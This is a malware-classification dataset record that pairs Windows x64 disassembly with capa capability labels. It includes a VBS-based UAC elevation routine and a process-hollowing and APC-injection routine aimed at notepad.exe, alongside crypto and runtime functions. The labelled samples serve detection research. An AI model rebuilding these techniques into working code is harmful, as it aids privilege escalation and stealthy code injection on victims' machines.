joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011203
Capabilities:
Create thread

Disassembly:
jmp 0x1400168a0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x188]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x120], rax
lea rcx, [0x14003a227]
call fcn.140011a73
nop
mov edx, 8
lea rcx, [rbp + 8]
call fcn.140011316
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 0x108]
call fcn.140011541
mov qword [rbp + 0x118], rax
mov rdx, qword [rbp + 0x118]
lea rcx, [rbp + 8]
call fcn.140011235
nop
lea rcx, [rbp + 0x108]
call fcn.14001142e
nop
lea rax, [0x1400116fe]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x150]
add rax, 8
mov qword [rbp + 0x118], rax
lea rcx, [rbp + 8]
call fcn.14001172b
mov rcx, qword [rbp + 0x118]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rbp + 0x28]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll__beginthreadex]
mov rcx, qword [rbp + 0x150]
mov qword [rcx], rax
mov rax, qword [rbp + 0x150]
cmp qword [rax], 0
je 0x1400169a3
lea rcx, [rbp + 8]
call fcn.14001145b
nop
jmp 0x1400169bc
mov rax, qword [rbp + 0x150]
mov dword [rax + 8], 0
mov ecx, 6
call fcn.14001124e
nop
lea rcx, [rbp + 8]
call fcn.14001142e
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002c520]
call fcn.1400118a7
mov rcx, qword [rbp + 0x120]
xor rcx, rbp
call fcn.14001150f
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x1400115eb
Capabilities:
Terminate process

Disassembly:
jmp 0x140022010
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x140011758
Capabilities:
Parse pe header

Disassembly:
jmp 0x140022f70
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140022f90
xor al, al
jmp 0x140023011
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140022fa3
xor al, al
jmp 0x140023011
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140022fcd
xor al, al
jmp 0x140023011
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140022fe1
xor al, al
jmp 0x140023011
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140022ff3
xor al, al
jmp 0x140023011
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14002300f
xor al, al
jmp 0x140023011
mov al, 1
add rsp, 0x38
ret
Function at 0x1400118fc
Capabilities:
Get common file path

Disassembly:
jmp 0x14001a350
push rbp
push rdi
sub rsp, 0x4a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xbe
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x14003a229]
call fcn.140011a73
nop
lea rdx, [rbp + 0x10]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
nop
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x428]
call fcn.14001149c
mov qword [rbp + 0x458], rax
mov rax, qword [rbp + 0x458]
mov qword [rbp + 0x460], rax
lea r8, str.hys.vbs
mov rdx, qword [rbp + 0x460]
lea rcx, [rbp + 0x138]
call fcn.14001199c
nop
lea rcx, [rbp + 0x428]
call fcn.1400111d1
nop
mov edx, 0x108
lea rcx, [rbp + 0x180]
call fcn.140011410
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x180]
call fcn.140011aa0
nop
lea rcx, [rbp + 0x180]
call fcn.14001174e
movzx eax, al
test eax, eax
je 0x14001a48c
lea rdx, str.Set_UAC__CreateObject__Shell.Application__
lea rcx, [rbp + 0x180]
call fcn.140011122
lea rdx, [0x140011064]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rdx, str.UAC.ShellExecute__cmd.exe_____c____s0________runas___1
lea rcx, [rbp + 0x180]
call fcn.140011122
lea rdx, [0x140011064]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x180]
call fcn.140011573
nop
lea rcx, [rbp + 0x180]
call fcn.14001128a
nop
lea rcx, [rbp + 0x138]
call fcn.1400111d1
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x14002b3f0]
call fcn.1400118a7
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.14001150f
lea rsp, [rbp + 0x478]
pop rdi
pop rbp
ret
Function at 0x140011a4b
Capabilities:
Write file on windows

Disassembly:
jmp 0x14001adc0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x2e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x140032040]
xor rax, rbp
mov qword [rbp + 0x168], rax
lea rcx, [0x14003a21c]
call fcn.140011a73
nop
mov rax, qword [rbp + 0x190]
cmp qword [rax + 0x68], 0
je 0x14001ae27
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001ae2e
mov al, 1
jmp 0x14001af7e
call fcn.1400112d0
mov rcx, qword [rbp + 0x190]
mov rcx, qword [rcx]
mov qword [rbp + 0x158], rcx
mov edx, eax
mov rcx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x158]
call qword [rax + 0x18]
mov dword [rbp + 0x160], eax
call fcn.1400112d0
mov ecx, dword [rbp + 0x160]
mov edx, ecx
mov ecx, eax
call fcn.140011843
movzx eax, al
test eax, eax
je 0x14001ae7f
xor al, al
jmp 0x14001af7e
mov qword [rbp + 8], 0x20
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x190]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rax, qword [rbp + 0x190]
mov rcx, qword [rax + 0x68]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x154], eax
cmp dword [rbp + 0x154], 0
je 0x14001aee4
cmp dword [rbp + 0x154], 1
je 0x14001aeef
cmp dword [rbp + 0x154], 3
je 0x14001af6d
jmp 0x14001af7c
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x14001af3f
mov rax, qword [rbp + 0x190]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x14001af3f
xor al, al
jmp 0x14001af7e
mov rax, qword [rbp + 0x190]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x14001af5a
mov dword [rbp + 0x154], 1
jmp 0x14001af64
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x14001af7e
mov rax, qword [rbp + 0x190]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x14001af7e
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14002bae0]
call fcn.1400118a7
mov rax, rdi
mov rcx, qword [rbp + 0x168]
xor rcx, rbp
call fcn.14001150f
lea rsp, [rbp + 0x178]
pop rdi
pop rbp
ret
Function at 0x140020d60
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011ac3
movzx eax, al
test eax, eax
jne 0x140020d80
mov ecx, 7
call fcn.1400118c0
nop
mov byte [rsp + 0x20], 0
call fcn.140011906
mov byte [rsp + 0x21], al
cmp dword [0x140032768], 1
jne 0x140020da4
mov ecx, 7
call fcn.1400118c0
nop
jmp 0x140020dfc
cmp dword [0x140032768], 0
jne 0x140020df7
mov dword [0x140032768], 1
lea rdx, [0x14002a770]
lea rcx, [0x14002a440]
call fcn.1400114ec
test eax, eax
je 0x140020dd8
mov eax, 0xff
jmp 0x140020f01
lea rdx, [0x14002a330]
lea rcx, [section..rdata]
call fcn.1400118ed
mov dword [0x140032768], 2
jmp 0x140020dfc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011898
call fcn.140011794
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140020e59
mov rcx, qword [rsp + 0x30]
call fcn.1400113de
movzx eax, al
test eax, eax
je 0x140020e59
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14003c020]
nop
call fcn.14001180c
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140020e8d
mov rcx, qword [rsp + 0x38]
call fcn.1400113de
movzx eax, al
test eax, eax
je 0x140020e8d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011a23
nop
call fcn.140020f70
mov dword [rsp + 0x28], eax
call fcn.140011758
movzx eax, al
test eax, eax
jne 0x140020eac
mov ecx, dword [rsp + 0x28]
call fcn.1400110b9
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140020ebb
call fcn.140011a37
nop
xor edx, edx
mov cl, 1
call fcn.1400113a2
mov eax, dword [rsp + 0x28]
jmp 0x140020f01
add rsp, 0x68
ret
Function at 0x140004b5a
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x88
movaps xmmword [rsp + 0x70], xmm13
movaps xmmword [rsp + 0x60], xmm12
movaps xmmword [rsp + 0x50], xmm11
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
movdqa xmm0, xmmword [0x1400213c0]
aeskeygenassist xmm1, xmm0, 1
pshufd xmm1, xmm1, 0xff
pxor xmm1, xmmword [0x1400213d0]
aeskeygenassist xmm2, xmm1, 2
pshufd xmm3, xmm2, 0xff
movdqa xmm4, xmm1
pslldq xmm4, 4
movdqa xmm5, xmm1
pslldq xmm5, 8
movdqa xmm2, xmm1
pslldq xmm2, 0xc
pxor xmm2, xmm4
pxor xmm2, xmm5
pxor xmm2, xmm1
pxor xmm2, xmm3
aeskeygenassist xmm3, xmm2, 4
pshufd xmm4, xmm3, 0xff
movdqa xmm5, xmm2
pslldq xmm5, 4
movdqa xmm6, xmm2
pslldq xmm6, 8
movdqa xmm3, xmm2
pslldq xmm3, 0xc
pxor xmm3, xmm5
pxor xmm3, xmm6
pxor xmm3, xmm2
pxor xmm3, xmm4
aeskeygenassist xmm4, xmm3, 8
pshufd xmm5, xmm4, 0xff
movdqa xmm6, xmm3
pslldq xmm6, 4
movdqa xmm7, xmm3
pslldq xmm7, 8
movdqa xmm4, xmm3
pslldq xmm4, 0xc
pxor xmm4, xmm6
pxor xmm4, xmm7
pxor xmm4, xmm3
pxor xmm4, xmm5
aeskeygenassist xmm5, xmm4, 0x10
pshufd xmm6, xmm5, 0xff
movdqa xmm7, xmm4
pslldq xmm7, 4
movdqa xmm8, xmm4
pslldq xmm8, 8
movdqa xmm5, xmm4
pslldq xmm5, 0xc
pxor xmm5, xmm7
pxor xmm5, xmm8
pxor xmm5, xmm4
pxor xmm5, xmm6
aeskeygenassist xmm6, xmm5, 0x20
pshufd xmm7, xmm6, 0xff
movdqa xmm8, xmm5
pslldq xmm8, 4
movdqa xmm9, xmm5
pslldq xmm9, 8
movdqa xmm6, xmm5
pslldq xmm6, 0xc
pxor xmm6, xmm8
pxor xmm6, xmm9
pxor xmm6, xmm5
pxor xmm6, xmm7
aeskeygenassist xmm7, xmm6, 0x40
pshufd xmm8, xmm7, 0xff
movdqa xmm9, xmm6
pslldq xmm9, 4
movdqa xmm10, xmm6
pslldq xmm10, 8
movdqa xmm7, xmm6
pslldq xmm7, 0xc
pxor xmm7, xmm9
pxor xmm7, xmm10
pxor xmm7, xmm6
pxor xmm7, xmm8
aeskeygenassist xmm8, xmm7, 0x80
pshufd xmm9, xmm8, 0xff
movdqa xmm10, xmm7
pslldq xmm10, 4
movdqa xmm11, xmm7
pslldq xmm11, 8
movdqa xmm8, xmm7
pslldq xmm8, 0xc
pxor xmm8, xmm10
pxor xmm8, xmm11
pxor xmm8, xmm7
pxor xmm8, xmm9
aeskeygenassist xmm9, xmm8, 0x1b
pshufd xmm10, xmm9, 0xff
movdqa xmm11, xmm8
pslldq xmm11, 4
movdqa xmm12, xmm8
pslldq xmm12, 8
movdqa xmm9, xmm8
pslldq xmm9, 0xc
pxor xmm9, xmm11
pxor xmm9, xmm12
pxor xmm9, xmm8
pxor xmm9, xmm10
aeskeygenassist xmm10, xmm9, 0x36
pshufd xmm10, xmm10, 0xff
movdqa xmm11, xmm9
pslldq xmm11, 4
movdqa xmm12, xmm9
pslldq xmm12, 8
movdqa xmm13, xmm9
pslldq xmm13, 0xc
pxor xmm13, xmm11
pxor xmm13, xmm12
pxor xmm13, xmm9
pxor xmm13, xmm10
movdqa xmmword [rcx], xmm0
movdqa xmmword [rcx + 0x10], xmm1
movdqa xmmword [rcx + 0x20], xmm2
movdqa xmmword [rcx + 0x30], xmm3
movdqa xmmword [rcx + 0x40], xmm4
movdqa xmmword [rcx + 0x50], xmm5
movdqa xmmword [rcx + 0x60], xmm6
movdqa xmmword [rcx + 0x70], xmm7
movdqa xmmword [rcx + 0x80], xmm8
movdqa xmmword [rcx + 0x90], xmm9
movdqa xmmword [rcx + 0xa0], xmm13
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
movaps xmm11, xmmword [rsp + 0x50]
movaps xmm12, xmmword [rsp + 0x60]
movaps xmm13, xmmword [rsp + 0x70]
add rsp, 0x88
ret
Function at 0x140008000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140008080
cmp r10, r11
jb 0x1400080f7
cmp r10, rdx
ja 0x140008109
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140008082
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140008060
jmp 0x1400080e4
ja 0x14000808a
mov r11, r10
cmp rax, r8
jne 0x14000802e
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x1400080c0
mov rdi, r8
sub ecx, edx
jns 0x1400080db
jmp 0x1400080e6
cmp r8, rsi
je 0x140008118
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x1400080e6
xor al, 1
cmp rdi, rsi
jne 0x1400080a0
jmp 0x1400080e6
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.1400200d0
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14001fdf0
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140020140
int3
Function at 0x140009759
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x58
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
aesimc xmm0, xmmword [rdx + 0x10]
aesimc xmm1, xmmword [rdx + 0x20]
aesimc xmm2, xmmword [rdx + 0x30]
aesimc xmm3, xmmword [rdx + 0x40]
aesimc xmm4, xmmword [rdx + 0x50]
aesimc xmm5, xmmword [rdx + 0x60]
aesimc xmm6, xmmword [rdx + 0x70]
aesimc xmm7, xmmword [rdx + 0x80]
aesimc xmm8, xmmword [rdx + 0x90]
movaps xmm9, xmmword [rdx]
movaps xmm10, xmmword [rdx + 0xa0]
movaps xmmword [rcx], xmm9
movdqa xmmword [rcx + 0x10], xmm0
movdqa xmmword [rcx + 0x20], xmm1
movdqa xmmword [rcx + 0x30], xmm2
movdqa xmmword [rcx + 0x40], xmm3
movdqa xmmword [rcx + 0x50], xmm4
movdqa xmmword [rcx + 0x60], xmm5
movdqa xmmword [rcx + 0x70], xmm6
movdqa xmmword [rcx + 0x80], xmm7
movdqa xmmword [rcx + 0x90], xmm8
movaps xmmword [rcx + 0xa0], xmm10
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x14000af66
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x230
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x2a]
mov r8d, 0x102
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov byte [rsp + rbx + 0x2a], bl
inc rbx
cmp rbx, 0x100
jne 0x14000af8a
lea rax, [0x140072654]
xor ecx, ecx
lea rdx, [0x140072664]
mov r8, rax
xor r9d, r9d
cmp r9, 0x100
je 0x14000afe6
cmp r8, rdx
cmove r8, rax
mov r10b, byte [rsp + r9 + 0x2a]
add cl, r10b
add cl, byte [r8]
movzx r11d, cl
mov bl, byte [rsp + r11 + 0x2a]
mov byte [rsp + r9 + 0x2a], bl
inc r9
inc r8
mov byte [rsp + r11 + 0x2a], r10b
jmp 0x14000afb0
lea rbx, [rsp + 0x12c]
lea rdx, [rsp + 0x2a]
mov r8d, 0x102
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov cl, byte [rbx + 0x100]
mov al, byte [rbx + 0x101]
inc cl
movzx ecx, cl
xor edx, edx
cmp rsi, rdx
je 0x14000b065
lea r8d, [rcx + rdx]
movzx r8d, r8b
mov r9b, byte [rsp + r8 + 0x12c]
add al, r9b
movzx r10d, al
mov r11b, byte [rsp + r10 + 0x12c]
mov byte [rsp + r8 + 0x12c], r11b
mov byte [rsp + r10 + 0x12c], r9b
add r9b, byte [rsp + r8 + 0x12c]
movzx r8d, r9b
mov r8b, byte [rsp + r8 + 0x12c]
xor byte [rdi + rdx], r8b
inc rdx
jmp 0x14000b014
mov rax, rdi
mov rdx, rsi
add rsp, 0x230
pop rbx
pop rdi
pop rsi
ret
Function at 0x14000bdfa
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rsi, rdx
mov rdi, rcx
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movaps xmmword [rcx + 0x10], xmm0
movaps xmmword [rcx], xmm0
call fcn.14000e316
test rax, rax
je 0x14000be32
mov edx, 4
mov rcx, rax
call fcn.140003400
jmp 0x14000be6b
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
lea rdx, [rsp + 0x40]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
lea rbx, [rsp + 0x70]
mov rcx, rbx
call fcn.14000beaa
movaps xmm0, xmmword [rbx]
movaps xmm1, xmmword [rbx + 0x10]
movaps xmm2, xmmword [rbx + 0x20]
movaps xmmword [rdi + 0x20], xmm2
movaps xmmword [rdi + 0x10], xmm1
movaps xmmword [rdi], xmm0
and qword [rdi + 0x40], 0
mov rax, 0xffffffffffffff00
add rax, qword [rdi + 0x30]
mov qword [rdi + 0x38], rax
mov rcx, rdi
mov rdx, rsi
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
jmp fcn.14000b3d8
Function at 0x14000e316
Capabilities:
Generate random numbers via rtlgenrandom
Generate random numbers via winapi

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rcx
mov r12d, 0x20
mov r13d, 0xffffffff
mov rbp, qword [sym.imp.bcrypt.dll_BCryptGenRandom]
mov rsi, qword [sym.imp.advapi32.dll_SystemFunction036]
test r12, r12
je 0x14000e3a4
mov r14, rdi
cmp r12, r13
mov r15d, 0xffffffff
cmovb r15, r12
add rdi, r15
sub r12, r15
xor ecx, ecx
mov rdx, r14
mov r8d, r15d
mov r9d, 2
call rbp
cmp eax, 0xc0000000
jb 0x14000e343
mov ebx, eax
mov rcx, r14
mov edx, r15d
call rsi
test al, al
jne 0x14000e343
and ebx, 0x7fffffff
je 0x14000e3a4
mov al, byte [0x14007c1f8]
mov ecx, 4
call fcn.1400033f0
test rax, rax
je 0x14000e3b7
mov dword [rax], ebx
jmp 0x14000e3a6
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 4
mov edx, 4
call fcn.14001fbf0
int3

Function at 0x140011b20
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x140011b45
cmp rax, rcx
je 0x140011b4b
cmp rdx, 4
jae 0x140011b52
xor eax, eax
xor r8d, r8d
jmp 0x140011bf0
pop rbp
jmp fcn.140005ab0
xor eax, eax
jmp 0x140011c07
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x1400213e0]
movdqa xmm3, xmmword [0x1400213f0]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x140011b80
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140011c07
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140011bf0
pop rbp
ret
Function at 0x140015990
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
sub rsp, 0xa8
lea rbp, [rsp + 0x80]
mov rsi, rcx
movups xmm0, xmmword [0x1400769d8]
movaps xmmword [rbp], xmm0
mov eax, 0xffffffff
cmp r8, rax
cmovb rax, r8
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rdx
mov rax, rbp
mov qword [rsp + 0x20], rax
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x140015a00
mov rcx, rsi
mov edx, 0xffffffff
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [rbp]
cmp eax, 0x103
je 0x140015a2d
test eax, eax
js 0x140015a0c
mov rdx, qword [rbp + 8]
xor eax, eax
jmp 0x140015a23
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov eax, 1
add rsp, 0xa8
pop rsi
pop rbp
ret
mov dword [rbp + 0x18], 0
mov byte [rbp + 0x1c], 0
lea rax, str.fatal_runtime_error:_I_O_error:_operation_failed_to_complete_synchronously_n
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x30], 1
lea rax, [rbp + 0x20]
mov qword [rbp - 0x28], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
lea rcx, [rbp + 0x18]
lea rdx, [rbp - 0x38]
call fcn.1400150d0
mov qword [rbp - 8], rax
lea rcx, [rbp - 8]
call fcn.140015190
mov ecx, 7
int 0x29
ud2

Function at 0x1400191d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
and al, 0x20

Function at 0x14001f6a4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14001f6ee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001f6ee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001f6ee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001f6ee
cmp dword [rcx + 0x84], 0xe
jbe 0x14001f6ee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001f6f0
xor al, al
add rsp, 0x28
ret
Function at 0x140001010
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Encrypt data using rc4 ksa
Inject apc
Resume thread
Use process replacement

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x1f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
xorps xmm0, xmm0
lea rcx, str.C:WindowsSystem32_notepad.exe
movups xmmword [rsp + 0x170], xmm0
xor eax, eax
xor r15d, r15d
movups xmmword [rsp + 0x180], xmm0
mov qword [r11 - 0x38], rax
xor r9d, r9d
movups xmmword [rsp + 0x150], xmm0
mov qword [r11 - 0xa8], rax
xor r8d, r8d
lea rax, [r11 - 0xb8]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [r11 - 0x98]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r15d
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r14, qword [rsp + 0x150]
xor edx, edx
mov rsi, qword [rsp + 0x158]
mov rcx, r14
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1086f2b
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea rdi, str.kernel32.dll
mov r9, 0xffffffffffffffff
mov rbp, rax
inc r9
cmp byte [rdi + r9], r15b
jne 0x140001100
mov eax, r15d
lea rcx, [rsp + 0x50]
mov byte [rcx], al
lea rcx, [rcx + 1]
inc eax
cmp eax, 0x100
jl 0x140001111
xor r8b, r8b
lea r11, [rsp + 0x50]
mov r10d, r15d
nop dword [rax + rax]
movzx ebx, byte [r11]
mov eax, r10d
cdq
movzx r8d, r8b
